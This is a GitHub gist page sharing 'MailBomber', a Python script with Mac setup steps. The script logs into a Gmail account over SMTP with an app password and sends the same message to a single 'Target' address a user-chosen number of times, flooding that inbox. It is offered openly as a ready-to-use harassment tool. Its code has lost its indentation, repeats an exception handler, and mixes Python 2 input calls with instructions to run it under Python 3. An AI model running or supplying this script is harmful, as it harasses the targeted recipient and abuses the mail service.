Skip to content

Instantly share code, notes, and snippets.

@eduardocalazansjr
Last active September 4, 2019 23:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save eduardocalazansjr/806c3c780a5da4720b4a99d5b95fc862 to your computer and use it in GitHub Desktop.
Save eduardocalazansjr/806c3c780a5da4720b4a99d5b95fc862 to your computer and use it in GitHub Desktop.
MailBomber

How to use (MAC):

Open Terminal:
xcode-select --install
sudo easy_install pip
sudo pip install --upgrade pip
sudo pip install pysocks

Open https://myaccount.google.com/security and enable 2-factor authentication
Open https://myaccount.google.com/apppasswords and configure one App Password for the tool (and write down, don't forget the spaces)

Back to Terminal:
python bomber.py
or
python3 bomber.py

Fill the fields, sit back and relax

import os, sys, smtplib, getpass, time
try:
W = '\033[0m'
R = '\033[31m'
G = '\033[32m'
print( R + 'You must ENABLE 2Step Verification in your Google Account AND use a App Password to use this')
print( R + '\nhttps://myaccount.google.com/security')
print( R + '\nhttps://myaccount.google.com/apppasswords' + W)
os.system("clear")
set_server = "gmail"
email_user = raw_input('Your Email: ')
passwd = getpass.getpass('Your App Password: ')
email_to = raw_input('\nTo: ')
subject = raw_input('Subject: ')
body = raw_input('Message: ')
total = input('Amount of Sendings: ')
try:
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.ehlo()
server.login(email_user,passwd)
print("\n\n\n - Target : {} -\n".format(email_to))
for i in range(1, total+1):
msg = 'From: ' + email_user + '\nSubject: ' + subject + '\n' + body
server.sendmail(email_user,email_to,msg)
print(G + "\rEmail Sent - {}".format(i))
print(W + "\nWaiting 30s before the next step" + W)
time.sleep(30)
sys.stdout.flush()
server.quit()
print( R + "\n\n-Proccess Terminated-" + W)
except KeyboardInterrupt:
print(R + "\nError - Keyboard Interrupt" + W)
sys.exit()
except smtplib.SMTPAuthenticationError:
print( R + "\nError - Authentication error, Are you sure the password or the username is correct?" + W)
print( R + '\nYou must ENABLE 2Step Verification in your Google Account AND use a App Password to use this')
print( R + '\nhttps://myaccount.google.com/security')
print( R + '\nhttps://myaccount.google.com/apppasswords' + W)
sys.exit()
except smtplib.SMTPAuthenticationError:
sys.exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment